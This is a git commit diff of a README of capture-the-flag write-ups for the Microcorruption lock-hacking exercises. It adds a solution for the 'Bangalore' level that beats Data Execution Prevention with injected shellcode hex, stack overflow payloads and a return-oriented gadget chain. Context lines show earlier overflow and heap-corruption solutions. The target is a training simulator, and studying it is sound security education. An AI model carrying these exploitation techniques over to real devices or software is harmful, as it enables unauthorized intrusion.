Solve Bangalore
This commit is contained in:
@@ -7,13 +7,13 @@ My solutions to the fantastic Microcorruption exercises.
|
|||||||
Code that compares the password to the expected length of 8 characters.
|
Code that compares the password to the expected length of 8 characters.
|
||||||
|
|
||||||
```
|
```
|
||||||
4484: 6e4f mov.b @r15, r14
|
4484: 6e4f mov.b @r15, r14
|
||||||
4486: 1f53 inc r15
|
4486: 1f53 inc r15
|
||||||
4488: 1c53 inc r12
|
4488: 1c53 inc r12
|
||||||
448a: 0e93 tst r14
|
448a: 0e93 tst r14
|
||||||
448c: fb23 jnz $-0x8 <check_password+0x0>
|
448c: fb23 jnz $-0x8 <check_password+0x0>
|
||||||
448e: 3c90 0900 cmp #0x9, r12
|
448e: 3c90 0900 cmp #0x9, r12
|
||||||
4492: 0224 jz $+0x6 <check_password+0x14>
|
4492: 0224 jz $+0x6 <check_password+0x14>
|
||||||
```
|
```
|
||||||
|
|
||||||
Any eight characters input is valid, for example:
|
Any eight characters input is valid, for example:
|
||||||
@@ -42,15 +42,15 @@ The password is hardcoded in the `check_password` routine:
|
|||||||
|
|
||||||
```
|
```
|
||||||
448a <check_password>
|
448a <check_password>
|
||||||
448a: bf90 4f78 0000 cmp #0x784f, 0x0(r15)
|
448a: bf90 4f78 0000 cmp #0x784f, 0x0(r15)
|
||||||
4490: 0d20 jnz $+0x1c <check_password+0x22>
|
4490: 0d20 jnz $+0x1c <check_password+0x22>
|
||||||
4492: bf90 3b77 0200 cmp #0x773b, 0x2(r15)
|
4492: bf90 3b77 0200 cmp #0x773b, 0x2(r15)
|
||||||
4498: 0920 jnz $+0x14 <check_password+0x22>
|
4498: 0920 jnz $+0x14 <check_password+0x22>
|
||||||
449a: bf90 2b74 0400 cmp #0x742b, 0x4(r15)
|
449a: bf90 2b74 0400 cmp #0x742b, 0x4(r15)
|
||||||
44a0: 0520 jnz $+0xc <check_password+0x22>
|
44a0: 0520 jnz $+0xc <check_password+0x22>
|
||||||
44a2: 1e43 mov #0x1, r14
|
44a2: 1e43 mov #0x1, r14
|
||||||
44a4: bf90 5d2f 0600 cmp #0x2f5d, 0x6(r15)
|
44a4: bf90 5d2f 0600 cmp #0x2f5d, 0x6(r15)
|
||||||
44aa: 0124 jz $+0x4 <check_password+0x24>
|
44aa: 0124 jz $+0x4 <check_password+0x24>
|
||||||
```
|
```
|
||||||
|
|
||||||
Solution (hex, byte ordering is little endian):
|
Solution (hex, byte ordering is little endian):
|
||||||
@@ -71,13 +71,13 @@ The input password does not matter. Instead, there is a hardcoded comparison of
|
|||||||
0xb with the value at 0x2410.
|
0xb with the value at 0x2410.
|
||||||
|
|
||||||
```
|
```
|
||||||
4552: 3f40 d344 mov #0x44d3 "Testing if password is valid.", r15
|
4552: 3f40 d344 mov #0x44d3 "Testing if password is valid.", r15
|
||||||
4556: b012 de45 call #0x45de <puts>
|
4556: b012 de45 call #0x45de <puts>
|
||||||
455a: f290 0b00 1024 cmp.b #0xb, &0x2410
|
455a: f290 0b00 1024 cmp.b #0xb, &0x2410
|
||||||
4560: 0720 jnz $+0x10 <login+0x50>
|
4560: 0720 jnz $+0x10 <login+0x50>
|
||||||
4562: 3f40 f144 mov #0x44f1 "Access granted.", r15
|
4562: 3f40 f144 mov #0x44f1 "Access granted.", r15
|
||||||
4566: b012 de45 call #0x45de <puts>
|
4566: b012 de45 call #0x45de <puts>
|
||||||
456a: b012 4844 call #0x4448 <unlock_door>
|
456a: b012 4844 call #0x4448 <unlock_door>
|
||||||
```
|
```
|
||||||
|
|
||||||
The input password is stored at 0x2400, so we can input a long enough string
|
The input password is stored at 0x2400, so we can input a long enough string
|
||||||
@@ -148,8 +148,8 @@ jump to that exact code via the return address manipulation.
|
|||||||
We write the code to unlock the door:
|
We write the code to unlock the door:
|
||||||
|
|
||||||
```
|
```
|
||||||
push #0x7f // INT ID for unlock door
|
push #0x7f // INT ID for unlock door
|
||||||
call #0x4532 // jump to INT
|
call #0x4532 // jump to INT
|
||||||
```
|
```
|
||||||
|
|
||||||
And [assemble](https://microcorruption.com/assembler) it to:
|
And [assemble](https://microcorruption.com/assembler) it to:
|
||||||
@@ -180,10 +180,10 @@ To work around this, we have to get creative to avoid 0x00 in our code. For
|
|||||||
example, the following works:
|
example, the following works:
|
||||||
|
|
||||||
```
|
```
|
||||||
mov #0x1190, r15
|
mov #0x1190, r15
|
||||||
sub #0x1111, r15
|
sub #0x1111, r15
|
||||||
push r15 // 0x1190 - 0x1111 = 0x7f <=> ID for unlock door
|
push r15 // 0x1190 - 0x1111 = 0x7f <=> ID for unlock door
|
||||||
call #0x454c // jump to INT
|
call #0x454c // jump to INT
|
||||||
```
|
```
|
||||||
|
|
||||||
Because it results in the following assembly without 0x00:
|
Because it results in the following assembly without 0x00:
|
||||||
@@ -210,7 +210,7 @@ to jump to the unlock door function. However, there is an additional check
|
|||||||
that verifies that the 18th (0x11 offset) character of the input is 0x40:
|
that verifies that the 18th (0x11 offset) character of the input is 0x40:
|
||||||
|
|
||||||
```
|
```
|
||||||
4578: f190 4000 1100 cmp.b #0x40, 0x11(sp)
|
4578: f190 4000 1100 cmp.b #0x40, 0x11(sp)
|
||||||
```
|
```
|
||||||
|
|
||||||
Therefore, we have to make sure that this byte of our input is 0x40, and
|
Therefore, we have to make sure that this byte of our input is 0x40, and
|
||||||
@@ -375,10 +375,10 @@ zero, but by changing R15 to `0x241e` we point it to the address where the code
|
|||||||
in `free` sets bit zero of the value at that address to zero:
|
in `free` sets bit zero of the value at that address to zero:
|
||||||
|
|
||||||
```
|
```
|
||||||
450a: 3f50 faff add #0xfffa, r15
|
450a: 3f50 faff add #0xfffa, r15
|
||||||
450e: 1d4f 0400 mov 0x4(r15), r13
|
450e: 1d4f 0400 mov 0x4(r15), r13
|
||||||
4512: 3df0 feff and #0xfffe, r13 // set bit zero of r13 to zero
|
4512: 3df0 feff and #0xfffe, r13 // set bit zero of r13 to zero
|
||||||
4516: 8f4d 0400 mov r13, 0x4(r15) // write value back to 00x241e + 4
|
4516: 8f4d 0400 mov r13, 0x4(r15) // write value back to 00x241e + 4
|
||||||
```
|
```
|
||||||
|
|
||||||
So, with the following input, we land in the first branch:
|
So, with the following input, we land in the first branch:
|
||||||
@@ -396,9 +396,9 @@ insert a value for `R15 + 2` that R14 is then written into. Here R15 is the
|
|||||||
second word in our three words that we can manipulate.
|
second word in our three words that we can manipulate.
|
||||||
|
|
||||||
```
|
```
|
||||||
452e: 9e4f 0200 0200 mov 0x2(r15), 0x2(r14)
|
452e: 9e4f 0200 0200 mov 0x2(r15), 0x2(r14)
|
||||||
4534: 1d4f 0200 mov 0x2(r15), r13
|
4534: 1d4f 0200 mov 0x2(r15), r13
|
||||||
4538: 8d4e 0000 mov r14, 0x0(r13)
|
4538: 8d4e 0000 mov r14, 0x0(r13)
|
||||||
```
|
```
|
||||||
|
|
||||||
In other words, that gives us write access to an arbitrary location by changing
|
In other words, that gives us write access to an arbitrary location by changing
|
||||||
@@ -414,9 +414,9 @@ directly followed by `unlock_door`.
|
|||||||
// code removed
|
// code removed
|
||||||
4562: 3041 ret
|
4562: 3041 ret
|
||||||
4564 <unlock_door>
|
4564 <unlock_door>
|
||||||
4564: 3012 7f00 push #0x7f
|
4564: 3012 7f00 push #0x7f
|
||||||
4568: b012 b646 call #0x46b6 <INT>
|
4568: b012 b646 call #0x46b6 <INT>
|
||||||
456c: 2153 incd sp
|
456c: 2153 incd sp
|
||||||
456e: 3041 ret
|
456e: 3041 ret
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -507,6 +507,134 @@ input field. We then put the address we get into the script, and reliably get
|
|||||||
the solution string.
|
the solution string.
|
||||||
|
|
||||||
|
|
||||||
# Bangalore
|
## Bangalore
|
||||||
|
|
||||||
|
This is the first exercise that incorporates Data Execution Prevention.
|
||||||
|
Fortunately, the program is simple and easy to comprehend.
|
||||||
|
|
||||||
|
We observe that interrupts are now chosen using the status register:
|
||||||
|
|
||||||
|
```
|
||||||
|
mov #0x9100, sr // trigger interrupt 0xef & 0x91 = 0x11
|
||||||
|
call #0x10
|
||||||
|
```
|
||||||
|
|
||||||
|
This implies that if we aim to inject shellcode to unlock the door, the
|
||||||
|
instructions would appear as follows:
|
||||||
|
|
||||||
|
```
|
||||||
|
mov #0xff00, sr // trigger interrupt 0xef & 0xff = 0xef -> unlock door
|
||||||
|
call #0x10
|
||||||
|
```
|
||||||
|
|
||||||
|
Or, in hex representation:
|
||||||
|
|
||||||
|
```
|
||||||
|
324000ffb0121000
|
||||||
|
```
|
||||||
|
|
||||||
|
We also observe that the application is evidently susceptible to code
|
||||||
|
injection, so we promptly devise an attack strategy.
|
||||||
|
|
||||||
|
```
|
||||||
|
offset shell code
|
||||||
|
/ /
|
||||||
|
-------------------------------- -----------------
|
||||||
|
111122223333444455556666777788880040b324000ffb0121000
|
||||||
|
----
|
||||||
|
/
|
||||||
|
return address
|
||||||
|
```
|
||||||
|
|
||||||
|
Unfortunately, when we jump to our injected code, we encounter a segmentation
|
||||||
|
fault because the page (0x40) is read-only. We must find a method to make the
|
||||||
|
page where the injected code resides executable.
|
||||||
|
|
||||||
|
We can jump to the subsequent instruction to push an arbitrary value (such as
|
||||||
|
0x40 for the page where our injected code is located) from the stack into r11:
|
||||||
|
|
||||||
|
```
|
||||||
|
4508: 3b41 pop r11
|
||||||
|
```
|
||||||
|
|
||||||
|
And follow that up with a jump to:
|
||||||
|
|
||||||
|
```
|
||||||
|
44f6: 0f4b mov r11, r15
|
||||||
|
44f8: b012 b444 call #0x44b4 <mark_page_executable>
|
||||||
|
44fc: 1b53 inc r11
|
||||||
|
44fe: 3b90 0001 cmp #0x100, r11
|
||||||
|
```
|
||||||
|
|
||||||
|
However, by doing that, we render the stack executable, and when iterating the
|
||||||
|
loop, we encounter another segmentation fault. To address this issue, we can
|
||||||
|
attempt to position the stack further up (or down visually) so that the
|
||||||
|
injected code lands in page 0x41 instead of 0x40. We can then make pages 0x41
|
||||||
|
and above executable, and our exploit should function without causing
|
||||||
|
additional segmentation faults.
|
||||||
|
|
||||||
|
We now have an attack plan, step 1: Repeat this process 15 times to push the
|
||||||
|
stack downward.
|
||||||
|
|
||||||
|
```
|
||||||
|
10451045104510451045104510451045104510451045104510451045104510451045104510453c44
|
||||||
|
```
|
||||||
|
|
||||||
|
All this does is repeatedly jumping to a return instruction (at 4510), and then
|
||||||
|
jump back to the `login` routine. After repeating this for 15 times, we have
|
||||||
|
moved into the `0x41` area.
|
||||||
|
|
||||||
|
Step 2: Inject code and jump back to beginning of program:
|
||||||
|
|
||||||
|
```
|
||||||
|
call #0x10 program entry point
|
||||||
|
________/ ____/
|
||||||
|
324000ffb0121000deaddeaddeaddead0044
|
||||||
|
-------- ----------------
|
||||||
|
\ \
|
||||||
|
move 0xff, sr padding
|
||||||
|
```
|
||||||
|
|
||||||
|
This string injects the shellcode and then jumps to the original program entry
|
||||||
|
point, which resets the SP to its initial location. With 15 repetitions of step
|
||||||
|
1, the injected code will be situated at `4138`.
|
||||||
|
|
||||||
|
Armed with this knowledge, we can complete our attack; step 3: Make page 0x41
|
||||||
|
executable and jump to the injected code:
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
pad page 41 return to injected code
|
||||||
|
/ / /
|
||||||
|
-------------------------------- ---- ----
|
||||||
|
1111222233334444555566667777888808454100f64400003841
|
||||||
|
---- ----
|
||||||
|
\ \
|
||||||
|
\ jump to `set_up_protection` at `mov r11, r15`
|
||||||
|
\
|
||||||
|
`pop r11`
|
||||||
|
```
|
||||||
|
|
||||||
|
This challenge proved to be tricky for me for two reasons. First, I attempted
|
||||||
|
to push the stack down so that I could make page `0x40` executable, without
|
||||||
|
influencing the stack. However, I was unable to find a method to accomplish
|
||||||
|
that and had to devise the approach of moving in the opposite direction.
|
||||||
|
|
||||||
|
Second, at the conclusion of the application, there is a `reti` instruction:
|
||||||
|
|
||||||
|
```
|
||||||
|
453e: 0013 reti pc
|
||||||
|
```
|
||||||
|
|
||||||
|
In addition to restoring the return address and loading it into the program
|
||||||
|
counter (PC) like a regular `ret`, this instruction also pops another value
|
||||||
|
from the stack to restore the status register (SR). This would be sufficient to
|
||||||
|
devise an attack by restoring `0xff00`, and then jumping to the call at `0x10` (the
|
||||||
|
interrupt address). However, it turns out that the `reti` instruction is not
|
||||||
|
correctly implemented by the simulator (it acts as a `nop`), and as a result,
|
||||||
|
this attack doesn't work.
|
||||||
|
|
||||||
|
|
||||||
|
## Lagos
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user